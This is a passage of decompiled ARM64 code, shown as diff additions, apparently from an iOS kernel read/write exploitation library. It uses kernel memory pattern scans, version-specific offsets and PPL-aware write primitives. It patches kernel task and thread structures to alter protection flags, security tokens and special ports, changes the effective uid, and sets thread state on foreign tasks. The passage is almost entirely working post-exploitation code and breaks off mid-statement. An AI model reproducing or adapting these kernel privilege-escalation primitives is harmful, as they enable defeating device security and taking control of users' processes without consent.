// x8 + bool v30; // cc + int v31; // w8 + int v32; // w11 + int v33; // w10 + int v34; // w8 + int v35; // w0 + unsigned __int64 v36; // x26 + unsigned __int64 v37; // x8 + __int64 v38; // x23 + unsigned __int64 v39; // x28 + bool v40; // zf + unsigned __int64 v41; // x27 + __int64 v42; // x24 + __int64 v43; // x20 + void *v44; // x0 + __int128 v45; // q1 + __int64 v46; // [xsp+8h] [xbp-98h] + __int64 v47; // [xsp+10h] [xbp-90h] BYREF + unsigned __int8 v48; // [xsp+1Eh] [xbp-82h] BYREF + char v49; // [xsp+1Fh] [xbp-81h] BYREF + __int64 v50; // [xsp+20h] [xbp-80h] BYREF + __int64 v51[3]; // [xsp+28h] [xbp-78h] BYREF + char v52; // [xsp+43h] [xbp-5Dh] BYREF + int v53; // [xsp+44h] [xbp-5Ch] BYREF + __int64 v54; // [xsp+48h] [xbp-58h] BYREF + + v50 = 0LL; + v10 = sub_349C8((_DWORD *)a1, a2); + if ( !v10 ) + return; + v11 = v10; + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + { + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + { + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x200) ) + return; + v26 = *(_DWORD *)(a1 + 0x140); + if ( v26 <= 0x2257 ) + { + if ( v26 <= 0x1F52 ) + { + if ( v26 <= 0x1C1A ) + { + if ( v26 < 0x1809 ) + return; + v27 = 0xEFLL; + if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) + v27 = 0xE7LL; + } + else + { + v27 = 0xDFLL; + } + } + else + { + v27 = 0x97LL; + } + } + else + { + v27 = 0x8FLL; + } + v43 = v27 + v11; + if ( (unsigned int)kreadbuf_last_1(a1, v27 + v11, 1LL, (__int64)&v50 + 4) ) + { + LODWORD(v50) = a5; + if ( HIDWORD(v50) != a5 ) + kwritebuf_last_1(a1, v43, (__int64)&v50, 1LL); + } + return; + } + v20 = *(_DWORD *)(a1 + 0x140); + if ( v20 >= 0x2712 ) + { + v21 = (_DWORD *)a1; + v22 = 0x1180000; +LABEL_26: + v23 = !krw_ctx_has_flag(v21, v22); + v24 = 0xC7LL; + v25 = 0xBFLL; + goto LABEL_32; + } + if ( v20 < 0x2258 ) + { + if ( v20 >= 0x1F53 ) + { + v21 = (_DWORD *)a1; + v22 = 0x180000; + goto LABEL_26; + } + if ( v20 < 0x1C1B ) + { + v24 = 0x10FLL; + if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) + v24 = 0x107LL; +LABEL_34: + v28 = v24 + v11; + if ( (unsigned int)kreadbuf_last_1(a1, v28, 4LL, (__int64)&v50 + 4) ) + { + v29 = *(_QWORD *)(a1 + 0x158); + v30 = v29 > 0x1C1B0A800FFFFFLL; + if ( v29 <= 0x1C1B0A800FFFFFLL ) + v31 = 0xFF000000; + else + v31 = 0xFF00; + if ( v30 ) + v32 = 0x1000000; + else + v32 = 0x10000; + if ( v30 ) + v33 = 0x10000; + else + v33 = 0x100; + v34 = HIDWORD(v50) & v31; + if ( !a4 ) + v32 = 0; + if ( !a3 ) + v33 = 0; + LODWORD(v50) = v32 | v33 | a5 | v34; + if ( HIDWORD(v50) == (_DWORD)v50 || (sub_130B4(a1, v28, (__int64)&v50, 4LL), v35) ) + { + if ( *(int *)(a1 + 0x140) <= 0x1F52 ) + a4 |= a3 ^ 1; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL || sub_2F194(a1, a2, a4, a5) ) + goto LABEL_54; + } + } + return; + } + v23 = !krw_ctx_has_flag((_DWORD *)a1, 0x80000); + v24 = 0x107LL; + v25 = 0xFFLL; + } + else + { + v23 = !krw_ctx_has_flag((_DWORD *)a1, 0x1180000); + v24 = 0xBFLL; + v25 = 0xB7LL; + } +LABEL_32: + if ( v23 ) + v24 = v25; + goto LABEL_34; + } + if ( !(unsigned int)kreadbuf_last_1(a1, v11 + 0x92, 1LL, (__int64)&v48) ) + return; + if ( v48 == a5 ) + goto LABEL_17; + v49 = a5; + if ( !(unsigned int)kwritebuf_last_1(a1, v11 + 0x92, (__int64)&v49, 1LL) ) + return; + if ( !a5 ) + { +LABEL_17: + if ( !kread64((_DWORD *)a1, v11 + 0xB0, v51) ) + return; + if ( !validate_addr(a1, v51[0]) ) + return; + if ( !(unsigned int)kreadbuf_last_1(a1, v51[0] + 0x20, 1LL, (__int64)&v54) ) + return; + v49 = a4; + if ( (unsigned __int8)v54 != a4 && !(unsigned int)ppl_kwritebuf(a1, v51[0] + 0x20, (__int64)&v49, 1) ) + return; +LABEL_54: + if ( dyldVersionNumber >= 851.0 ) + sub_3B49C(a1, a2, a4); + return; + } + if ( !kread64((_DWORD *)a1, v11 + *(int *)(a1 + 0x168), &v47) ) + return; + v46 = v47; + v12 = *(_QWORD *)(a1 + 0x1D30); + if ( v12 ) + { +LABEL_9: + sub_19D10(v12, v51); + v13 = kernel_pattern_scan((__int64)v51, "68 02 08 CB 1F 20 03 D5", 0); + if ( v13 ) + { + v14 = v13; + v15 = sub_1E854(*(__int64 **)(a1 + 0x1D30), (__int64 *)(v13 - 8)); + if ( v15 ) + { + v16 = sub_19B94(*(_QWORD *)(a1 + 0x1D30), v15); + if ( validate_addr(a1, v16) ) + { + v17 = sub_1E854(*(__int64 **)(a1 + 0x1D30), (__int64 *)(v14 + 4)); + if ( v17 ) + { + v18 = sub_19B94(*(_QWORD *)(a1 + 0x1D30), v17); + if ( v18 ) + { + v19 = v16 + (((unsigned __int64)(v46 - v18) >> 0xA) & 0x3FFFFFFFFFFFF0LL) + 9; + if ( (unsigned int)kreadbuf_last_1(a1, v19, 1LL, (__int64)&v52) ) + { + if ( (v52 & 1) != 0 ) + goto LABEL_17; + v52 |= 1u; + if ( (unsigned int)ppl_kwritebuf(a1, v19, (__int64)&v52, 1) ) + goto LABEL_17; + } + } + } + } + } + } + } + else + { + sub_38544(a1, 0LL, 0LL, 0LL); + if ( *(_DWORD *)(a1 + 0x18A0) ) + { + v36 = 0LL; + do + { + v37 = a1 + 0x18 * v36; + v38 = *(_QWORD *)(v37 + 0x1A10); + v39 = *(_QWORD *)(v37 + 0x1A18); + if ( validate_addr(a1, v38) ) + v40 = v39 == 0; + else + v40 = 1; + if ( !v40 ) + { + if ( !(unsigned int)kreadbuf_last_1(a1, v38 + 8, 8LL, (__int64)&v54) ) + return; + if ( v54 == 0x6F74616C75676572LL ) + { + v41 = 0LL; + do + { + v42 = v41 + v38; + if ( !kread32_outptr(a1, v41 + v38, &v53) ) + break; + if ( v53 == 0xFEEDFACF ) + { + if ( v42 ) + { + v44 = calloc(0x128uLL, 1uLL); + if ( v44 ) + { + v12 = (__int64)v44; + sub_19DD4((__int64)v44, a1); + v45 = *(_OWORD *)(a1 + 0x150); + *(_OWORD *)(v12 + 0x70) = *(_OWORD *)(a1 + 0x140); + *(_OWORD *)(v12 + 0x80) = v45; + *(_QWORD *)(v12 + 0x90) = *(_QWORD *)(a1 + 0x160); + *(_DWORD *)(v12 + 0x98) = *(_DWORD *)(a1 + 0x178); + *(_DWORD *)(v12 + 0x38) = *(_DWORD *)(a1 + 0x180); + if ( sub_1A0D4(v12, 0, v42, 0) ) + { + *(_QWORD *)(a1 + 0x1D30) = v12; + goto LABEL_9; + } + } + } + return; + } + v41 += *(unsigned int *)(a1 + 0x180); + } + while ( v41 < v39 ); + } + } + ++v36; + } + while ( v36 < *(unsigned int *)(a1 + 0x18A0) ); + } + } +} +// 3B1C4: variable 'v35' is possibly undefined +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000003B49C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3B49C(__int64 a1, unsigned int a2, int a3) +{ + unsigned __int64 result; // x0 + mach_vm_address_t v6; // x20 + unsigned int v7; // w9 + int v8; // w10 + int v9; // [xsp+Ch] [xbp-24h] BYREF + + result = sub_34680(a1, a2); + if ( result ) + { + v6 = result; + result = kread32_outptr(a1, result, &v9); + if ( (_DWORD)result ) + { + v7 = v9 & 0xFFFFFF7F; + if ( a3 ) + v8 = 0x80; + else + v8 = 0; + if ( (v7 | v8) == v9 ) + return 1LL; + result = ppl_kwrite32(a1, v6, v7 | v8); + if ( (_DWORD)result ) + return 1LL; + } + } + return result; +} + +//----- (000000000003B524) ---------------------------------------------------- +__int64 __fastcall sub_3B524(__int64 a1, unsigned int a2, bool *a3, _BYTE *a4, bool *a5) +{ + unsigned __int64 v9; // x23 + int v10; // w8 + _DWORD *v11; // x0 + int v12; // w1 + bool v13; // zf + __int64 v14; // x8 + __int64 v15; // x9 + int v16; // w8 + __int64 v17; // x8 + unsigned __int64 v18; // x9 + unsigned int v19; // w8 + bool v20; // zf + char v21; // w8 + char v23; // [xsp+Fh] [xbp-41h] BYREF + __int64 v24; // [xsp+10h] [xbp-40h] BYREF + unsigned int v25; // [xsp+1Ch] [xbp-34h] BYREF + + v25 = 0; + v9 = sub_349C8((_DWORD *)a1, a2); + if ( v9 ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + { + if ( kread64((_DWORD *)a1, v9 + 0xB0, &v24) ) + { + if ( validate_addr(a1, v24) ) + { + v9 = 1LL; + if ( (unsigned int)kreadbuf_last_1(a1, v24 + 0x20, 1LL, (__int64)&v23) ) + { + *a4 = v23 != 0; + *a5 = 0; + *a3 = 1; + return v9; + } + } + } + return 0LL; + } + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + { + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x200) ) + return 0LL; + v16 = *(_DWORD *)(a1 + 0x140); + if ( v16 <= 0x2257 ) + { + if ( v16 <= 0x1F52 ) + { + if ( v16 <= 0x1C1A ) + { + if ( v16 < 0x1809 ) + return 0LL; + v17 = 0xEFLL; + if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) + v17 = 0xE7LL; + } + else + { + v17 = 0xDFLL; + } + } + else + { + v17 = 0x97LL; + } + } + else + { + v17 = 0x8FLL; + } + if ( !(unsigned int)kreadbuf_last_1(a1, v17 + v9, 1LL, (__int64)&v25) ) + return 0LL; + *a5 = (_BYTE)v25 != 0; + *a4 = 0; + *a3 = 0; + return 1LL; + } + v10 = *(_DWORD *)(a1 + 0x140); + if ( v10 >= 0x2712 ) + { + v11 = (_DWORD *)a1; + v12 = 0x1180000; +LABEL_10: + v13 = !krw_ctx_has_flag(v11, v12); + v14 = 0xC7LL; + v15 = 0xBFLL; + goto LABEL_16; + } + if ( v10 < 0x2258 ) + { + if ( v10 >= 0x1F53 ) + { + v11 = (_DWORD *)a1; + v12 = 0x180000; + goto LABEL_10; + } + if ( v10 < 0x1C1B ) + { + v14 = 0x10FLL; + if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) + v14 = 0x107LL; + goto LABEL_18; + } + v13 = !krw_ctx_has_flag((_DWORD *)a1, 0x80000); + v14 = 0x107LL; + v15 = 0xFFLL; + } + else + { + v13 = !krw_ctx_has_flag((_DWORD *)a1, 0x1180000); + v14 = 0xBFLL; + v15 = 0xB7LL; + } +LABEL_16: + if ( v13 ) + v14 = v15; +LABEL_18: + if ( !kread32_outptr(a1, v14 + v9, &v25) ) + return 0LL; + v18 = *(_QWORD *)(a1 + 0x158); + v19 = v25; + *a5 = (unsigned __int8)v25 != 0; + if ( v18 < 0x1C1B0A80100000LL ) + { + *a3 = (v19 & 0xFF00) != 0; + v20 = (v19 & 0xFF0000) == 0; + } + else + { + *a3 = (v19 & 0xFF0000) != 0; + v20 = HIBYTE(v19) == 0; + } + v21 = !v20; + *a4 = v21; + return 1LL; + } + return v9; +} + +//----- (000000000003B7E0) ---------------------------------------------------- +void __fastcall sub_3B7E0(__int64 a1, task_inspect_t task, host_t a3) +{ + unsigned __int64 v6; // x0 + unsigned __int64 v7; // x23 + unsigned __int64 v8; // x21 + int v9; // w24 + unsigned __int64 v10; // x8 + int v11; // w9 + bool v12; // w27 + int v13; // w2 + unsigned int v14; // w0 + unsigned int v15; // w21 + unsigned __int64 v16; // x0 + mach_vm_address_t v17; // x20 + __int64 v18; // x0 + __int64 v19; // x21 + host_security_t v20; // w19 + security_token_t v21; // x2 + int v22; // w0 + int v23; // w0 + int v24; // w0 + mach_port_t special_port; // [xsp+Ch] [xbp-B4h] BYREF + audit_token_t task_info_outCnt; // [xsp+10h] [xbp-B0h] BYREF + mach_msg_type_number_t v27[2]; // [xsp+38h] [xbp-88h] BYREF + audit_token_t v28; // [xsp+40h] [xbp-80h] BYREF + integer_t task_info_out[2]; // [xsp+60h] [xbp-60h] BYREF + int v30; // [xsp+68h] [xbp-58h] BYREF + int v31; // [xsp+6Ch] [xbp-54h] BYREF + + if ( task_get_special_port(task, 2, &special_port) || special_port == a3 ) + return; + if ( (*(_DWORD *)a1 & 0x5584001) != 0 ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) + { + v20 = *(_DWORD *)(a1 + 0x1924); + v27[0] = 2; + if ( !task_info(task, 0xDu, task_info_out, v27) ) + { + v27[0] = 8; + if ( !task_info(task, 0xFu, (task_info_t)&v28, v27) ) + { + v21 = *(security_token_t *)task_info_out; + task_info_outCnt = v28; + host_security_set_task_token(v20, task, v21, &task_info_outCnt, a3); + } + } + } + else + { + if ( mach_task_self_ != task ) + return; + task_info_outCnt.val[0] = 2; + if ( task_info(task, 0xDu, task_info_out, task_info_outCnt.val) ) + return; + task_info_outCnt.val[0] = 8; + if ( task_info(task, 0xFu, (task_info_t)&v28, task_info_outCnt.val) ) + return; + v6 = sub_33FFC(a1, task); + if ( !v6 ) + return; + v7 = v6; + if ( !kread64_internal(a1, v6, &task_info_outCnt) ) + return; + v8 = sub_29CB0((_DWORD *)a1, *(__int64 *)task_info_outCnt.val); + if ( !validate_addr(a1, v8) + || !kread32_outptr(a1, v8 + 0x18, &v31) + || *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL && !kread32_outptr(a1, v8 + 0x20, &v30) ) + { + return; + } + if ( *(_DWORD *)(a1 + 0x1920) == a3 ) + { + v9 = 0; + v10 = *(_QWORD *)(a1 + 0x158); + v11 = v31; + v12 = v10 > 0x1F530F027FFFFFLL && v31 == 0; + if ( v12 ) + v13 = 0x1F5; + else + v13 = 0; + } + else + { + if ( *(_DWORD *)(a1 + 0x1928) != a3 ) + return; + v13 = 0; + v11 = v31; + v10 = *(_QWORD *)(a1 + 0x158); + v12 = v10 > 0x1F530F027FFFFFLL && v31 != 0; + v9 = v31; + } + if ( v11 != v9 || v12 ) + { + if ( v10 <= 0x1F530F027FFFFFLL ) + { + if ( !noppl_kwrite32(a1, v8 + 0x18, v9) ) + return; + } + else if ( v12 && !(unsigned int)ppl_kwrite32(a1, v8 + 0x18, v13) + || !(unsigned int)ppl_kwrite32(a1, v8 + 0x20, v9) ) + { + return; + } + } + if ( (unsigned int)sub_34D14(a1, mach_task_self_) + && (*(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL || !(unsigned int)sub_35FD8(a1, v8)) ) + { + if ( !validate_addr(a1, *(_QWORD *)(a1 + 0x398)) || (sub_35AE0(a1, *(_DWORD *)(a1 + 0x37C), 0LL), v22) ) + { + if ( !seteuid(v9) ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL + || kread64_internal(a1, v7, v27) + && (*(_QWORD *)v27 == *(_QWORD *)task_info_outCnt.val + || (sub_2A63C(a1, v7, *(__int64 *)task_info_outCnt.val), v23)) ) + { + if ( !validate_addr(a1, *(_QWORD *)(a1 + 0x398)) + || (sub_35AE0(a1, *(_DWORD *)(a1 + 0x37C), *(_QWORD *)(a1 + 0x3A8)), v24) ) + { + if ( v31 != v9 || v12 ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + { + if ( !noppl_kwrite32(a1, v8 + 0x18, v31) ) + return; + } + else if ( v12 && !(unsigned int)ppl_kwrite32(a1, v8 + 0x18, v31) + || !(unsigned int)ppl_kwrite32(a1, v8 + 0x20, v30) ) + { + return; + } + } + if ( (unsigned int)sub_39CC0(a1, task, 1, (__int64)task_info_out, 8LL) ) + sub_39CC0(a1, task, 3, (__int64)&v28, 0x20LL); + } + } + } + } + } + } + } + else + { + v14 = sub_32E84(a1); + if ( v14 ) + { + v15 = v14; + v16 = port_name_to_kaddr(a1, task); + if ( v16 ) + { + v17 = v16 + v15; + if ( kread64((_DWORD *)a1, v17, (__int64 *)&v28) ) + { + if ( validate_addr(a1, *(__int64 *)v28.val) ) + { + if ( a3 + 1 < 2 ) + { + if ( a3 == 0xFFFFFFFF ) + v19 = 0xFFFFFFFFFFFFFFFFLL; + else + v19 = 0LL; + } + else + { + v18 = sub_32D6C(a1, a3); + if ( !v18 ) + return; + v19 = v18; + if ( (unsigned int)sub_35E8C(a1, v18) ) + return; + } + kwrite64(a1, v17, v19); + } + } + } + } + } +} +// 3BB7C: variable 'v22' is possibly undefined +// 3BBC8: variable 'v23' is possibly undefined +// 3BBEC: variable 'v24' is possibly undefined + +//----- (000000000003BC88) ---------------------------------------------------- +bool __fastcall krw_task_for_pid(__int64 a1, int a2, mach_port_name_t *a3) +{ + return krw_task_for_pid_or_name(a1, a2, 0LL, a3); +} + +//----- (000000000003BC94) ---------------------------------------------------- +bool __fastcall krw_task_for_pid_or_name(__int64 a1, int a2, const char *a3, mach_port_name_t *a4) +{ + mach_port_t v8; // w20 + kern_return_t v9; // w0 + __int64 v10; // x8 + unsigned int v11; // w1 + unsigned __int64 v12; // x0 + __int64 v13; // x0 + int v14; // w9 + unsigned __int64 v15; // x10 + __int64 v16; // x11 + __int64 v17; // x10 + unsigned __int64 v19; // [xsp+8h] [xbp-28h] BYREF + + if ( a2 < 1 || getpid() != a2 ) + { + v11 = *(_DWORD *)(a1 + 0x191C); + if ( !v11 ) + v11 = *(_DWORD *)(a1 + 0x1918); + v12 = port_name_to_kaddr(a1, v11); + if ( !v12 ) + return 0LL; + if ( a3 ) + { + v13 = krw_task_for_name(a1, v12, a3); + if ( !v13 ) + return 0LL; + } + else + { + v13 = krw_task_for_pid_0(a1, v12, a2); + if ( !v13 ) + return 0LL; + } + v10 = 0LL; + v14 = *(_DWORD *)(a1 + 0x140); + if ( v14 > 0x2257 ) + { + v17 = 0xC8LL; + if ( v14 != 0x2258 && v14 != 0x225C && v14 != 0x2712 ) + return v10; + } + else + { + if ( (unsigned int)(v14 - 0x1F53) < 2 ) + { + v15 = 0x1F530F027FFFFFLL; + v16 = 0xD0LL; + } + else + { + v15 = 0x1C1B19145FFFFFLL; + v16 = 0xF0LL; + if ( v14 != 0x1809 && v14 != 0x1C1B ) + return v10; + } + if ( *(_QWORD *)(a1 + 0x158) <= v15 ) + v17 = 0xF8LL; + else + v17 = v16; + } + if ( kread64((_DWORD *)a1, v17 + v13, (__int64 *)&v19) && validate_addr(a1, v19) ) + return (unsigned int)sub_36480(a1, v19, a4) == 0; + return 0LL; + } + v8 = mach_task_self_; + v9 = mach_port_mod_refs(mach_task_self_, mach_task_self_, 0, 1); + v10 = 0LL; + if ( !v9 ) + { + *a4 = v8; + return 1LL; + } + return v10; +} + +//----- (000000000003BE3C) ---------------------------------------------------- +bool __fastcall sub_3BE3C( + __int64 a1, + int a2, + thread_act_t a3, + thread_state_flavor_t a4, + natural_t *a5, + mach_msg_type_number_t a6) +{ + bool v11; // zf + int v12; // w20 + int v14; // w8 + bool v15; // cc + int v16; // w8 + unsigned int v17; // w28 + int v18; // w9 + unsigned int v19; // w26 + int v20; // w27 + unsigned int v21; // w24 + mach_port_t v22; // w0 + unsigned __int64 v23; // x0 + unsigned __int64 v24; // x25 + int v25; // w25 + unsigned __int64 v26; // x0 + unsigned __int64 v27; // x26 + __int64 v28; // x28 + __int64 v29; // x26 + int v30; // w24 + unsigned int v31; // [xsp+4h] [xbp-6Ch] + __int64 v32; // [xsp+8h] [xbp-68h] BYREF + __int64 v33; // [xsp+10h] [xbp-60h] BYREF + int v34; // [xsp+1Ch] [xbp-54h] BYREF + + if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B0002E00000uLL + || ((*(_DWORD *)a1 & 0x5584001) != 0 ? (v11 = mach_task_self_ == a2) : (v11 = 1), v11) ) + { + v12 = sub_3C25C((_DWORD *)a1, a3, a4, a5, a6); + return v12 == 0; + } + v34 = 0; + v14 = *(_DWORD *)(a1 + 0x140); + if ( v14 > 0x2257 ) + { + if ( v14 != 0x2258 && v14 != 0x225C && v14 != 0x2712 ) + return 0LL; + } + else if ( (unsigned int)(v14 - 0x1F53) >= 2 ) + { + if ( v14 != 0x1C1B ) + return 0LL; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x80000) ) + { + v15 = *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL; + v16 = 0x518; + } + else + { + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) + { + if ( !krw_ctx_has_flag((_DWORD *)a1, 1) ) + { + v17 = 0; +LABEL_42: + v21 = v17 - 9; + v20 = 1; + v19 = 1; + goto LABEL_43; + } + v15 = *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL; + v16 = 0x508; + v18 = 0x160; +LABEL_26: + if ( v15 ) + v17 = v18; + else + v17 = v16; + goto LABEL_42; + } + v15 = *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL; + v16 = 0x510; + } + v18 = 0x168; + goto LABEL_26; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) + { + v17 = 0x1C0; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x1100000) ) + { + v17 = 0x170; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) + { + v17 = 0x168; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) + { + v17 = 0x160; + } + else + { + v17 = 0; + } + if ( *(int *)(a1 + 0x140) < 0x2258 ) + goto LABEL_42; + v17 -= 8; + if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) + { + v19 = 4; + v20 = 2; + v21 = 0xE4; + } + else + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) + v21 = 0x13C; + else + v21 = 0xEC; + v19 = 4; + v20 = 2; + } +LABEL_43: + if ( !v17 ) + return 0LL; + v22 = mach_thread_self(); + v23 = port_name_to_kaddr(a1, v22); + if ( !v23 ) + return 0LL; + v24 = v23; + v31 = v19; + v33 = 0LL; + if ( !(unsigned int)kreadbuf_last_1(a1, v23 + v17, 8LL, (__int64)&v33) ) + return 0LL; + if ( !(unsigned int)kreadbuf_last_1(a1, v24 + v21, v19, (__int64)&v34) ) + return 0LL; + v25 = v34; + v26 = port_name_to_kaddr(a1, a3); + if ( !v26 ) + return 0LL; + v27 = v26; + v32 = 0LL; + v28 = v26 + v17; + if ( !(unsigned int)kreadbuf_last_1(a1, v28, 8LL, (__int64)&v32) ) + return 0LL; + v29 = v27 + v21; + if ( !(unsigned int)kreadbuf_last_1(a1, v29, v31, (__int64)&v34) ) + return 0LL; + v30 = v34; + if ( v33 != v32 && !(unsigned int)kwritebuf_last_1(a1, v28, (__int64)&v33, 8LL) ) + return 0LL; + if ( (v25 & v20) == 0 || (v30 & v20) != 0 ) + { + v12 = sub_3C25C((_DWORD *)a1, a3, a4, a5, a6); + } + else + { + v34 = v34 & ~v20 | v25 & v20; + if ( !(unsigned int)kwritebuf_last_1(a1, v29, (__int64)&v34, v31) ) + return 0LL; + v12 = sub_3C25C((_DWORD *)a1, a3, a4, a5, a6); + v34 &= ~v20; + if ( !(unsigned int)kwritebuf_last_1(a1, v29, (__int64)&v34, v31) ) + return 0LL; + } + if ( v33 == v32 || (unsigned int)kwritebuf_last_1(a1, v28, (__int64)&v32, 8LL) ) + return v12 == 0; + return 0LL; +} + +//----- (000000000003C25C) ---------------------------------------------------- +__int64 __fastcall sub_3C25C( + _DWORD *a1, + thread_act_t target_act, + thread_state_flavor_t flavor, + thread_state_t new_state, + mach_msg_type_number_t new_stateCnt) +{ + int v10; // w25 + __int64 v11; // x24 + __int64 v12; // x24 + __int64 v13; // x20 + unsigned __int64 v14; // x0 + __int16 v16; // [xsp+Ch] [xbp-44h] BYREF + __int16 v17; // [xsp+Eh] [xbp-42h] BYREF + + v17 = 0; + v10 = a1[0x50]; + if ( v10 < 0x225C ) + { + v12 = 0LL; + } + else + { + if ( krw_ctx_has_flag(a1, 0x4000000) ) + { + v11 = 0xC0LL; + } + else if ( krw_ctx_has_flag(a1, 0x5584201) ) + { + v11 = 0x70LL; + } + else + { + v11 = 0xB8LL; + } + v14 = port_name_to_kaddr((__int64)a1, target_act); + if ( !v14 ) + return 5LL; + v12 = v14 + v11; + if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v12, 2LL, (__int64)&v17) ) + return 5LL; + if ( (v17 & 0x80000000) == 0 ) + { + v16 = v17 | 0x8000; + if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v12, (__int64)&v16, 2LL) ) + return 5LL; + } + } + v13 = thread_set_state(target_act, flavor, new_state, new_stateCnt); + if ( v10 >= 0x225C && (v17 & 0x80000000) == 0 ) + kwritebuf_last_1((__int64)a1, v12, (__int64)&v17, 2LL); + return v13; +} + +//----- (000000000003C398) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3C398(_DWORD *a1) +{ + unsigned __int64 result; // x0 + int v3; // w8 + bool v4; // zf + int v5; // w9 + + result = 0LL; + v3 = a1[0x50]; + if ( v3 > 0x2257 ) + { + v4 = v3 == 0x2258 || v3 == 0x2712; + v5 = 0x225C; + } + else + { + v4 = (unsigned int)(v3 - 0x1F53) < 2 || v3 == 0x1809; + v5 = 0x1C1B; + } + if ( v4 || v3 == v5 ) + { + if ( krw_ctx_has_flag(a1, 0x20) ) + { + return 0xFFFFFFF027004000LL; + } + else if ( krw_ctx_has_flag(a1, 8) ) + { + return 0xFFFFFE0007004000LL; + } + else + { + return 0xFFFFFFF007004000LL; + } + } + return result; +} + +//----- (000000000003C450) ---------------------------------------------------- +__int64 __fastcall sub_3C450(__int64 a1, unsigned int a2, int a3, _BYTE *a4) +{ + __int64 v8; // x19 + unsigned __int64 v9; // x0 + unsigned __int64 v10; // x24 + unsigned __int64 v11; // x25 + int v12; // w8 + int v15; // w28 + unsigned int v16; // w0 + __int64 v17; // x25 + mach_vm_address_t v18; // x26 + unsigned int v19; // w25 + _BOOL4 has_flag; // w0 + int v21; // w9 + int v22; // w10 + __int128 v23; // q0 + int v24; // w0 + __int64 v25; // x24 + mach_vm_address_t v26; // x24 + __int128 v27; // q0 + int v28; // w0 + unsigned int v30; // [xsp+4h] [xbp-28Ch] + __int64 v31; // [xsp+8h] [xbp-288h] BYREF + int v32; // [xsp+10h] [xbp-280h] BYREF + int v33; // [xsp+14h] [xbp-27Ch] BYREF + unsigned __int64 v34; // [xsp+18h] [xbp-278h] BYREF + __int128 v35; // [xsp+20h] [xbp-270h] BYREF + __int128 v36; // [xsp+30h] [xbp-260h] + __int128 v37; // [xsp+40h] [xbp-250h] + __int128 v38; // [xsp+50h] [xbp-240h] + __int128 v39; // [xsp+60h] [xbp-230h] + __int128 v40; // [xsp+70h] [xbp-220h] + __int128 v41; // [xsp+80h] [xbp-210h] + __int128 v42; // [xsp+90h] [xbp-200h] + __int128 v43; // [xsp+A0h] [xbp-1F0h] + __int128 v44; // [xsp+B0h] [xbp-1E0h] + __int128 v45; // [xsp+C0h] [xbp-1D0h] + __int128 v46; // [xsp+D0h] [xbp-1C0h] + __int128 v47; // [xsp+E0h] [xbp-1B0h] + __int128 v48; // [xsp+F0h] [xbp-1A0h] + __int128 v49; // [xsp+100h] [xbp-190h] + __int128 v50; // [xsp+110h] [xbp-180h] + __int128 v51; // [xsp+120h] [xbp-170h] + __int128 v52; // [xsp+130h] [xbp-160h] + __int128 v53; // [xsp+140h] [xbp-150h] + __int128 v54; // [xsp+150h] [xbp-140h] + __int128 v55; // [xsp+160h] [xbp-130h] + __int128 v56; // [xsp+170h] [xbp-120h] + __int128 v57; // [xsp+180h] [xbp-110h] + __int128 v58; // [xsp+190h] [xbp-100h] + __int128 v59; // [xsp+1A0h] [xbp-F0h] + __int128 v60; // [xsp+1B0h] [xbp-E0h] + __int128 v61; // [xsp+1C0h] [xbp-D0h] + __int128 v62; // [xsp+1D0h] [xbp-C0h] + __int128 v63; // [xsp+1E0h] [xbp-B0h] + __int128 v64; // [xsp+1F0h] [xbp-A0h] + __int128 v65; // [xsp+200h] [xbp-90h] + __int128 v66; // [xsp+210h] [xbp-80h] + + v8 = 0x2800FLL; + v34 = 0LL; + v9 = port_name_to_kaddr(a1, a2); + v31 = 0LL; + if ( !v9 ) + return 0x2800ELL; + v10 = v9; + v11 = *(_QWORD *)(a1 + 0x158); + v12 = *(_DWORD *)(a1 + 0x140); + if ( v11 <= 0x1F530F027FFFFFLL ) + { + if ( v12 == 0x1F53 ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) + { + v19 = 0x3F8; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) + { + v19 = 0x3E8; + } + else + { + v19 = 0x3D0; + } + } + else + { + if ( v12 != 0x1C1B ) + return 0x28007LL; + has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); + if ( has_flag ) + v21 = 0x3D0; + else + v21 = 0x3C0; + if ( has_flag ) + v22 = 0x3E0; + else + v22 = 0x3C8; + if ( v11 >= 0x1C1B1914600000LL ) + v19 = v22; + else + v19 = v21; + } + v18 = v10 + v19; + if ( !(unsigned int)kread64(a1, v18, &v34) ) + return v8; + v30 = 0; + } + else + { + if ( v12 == 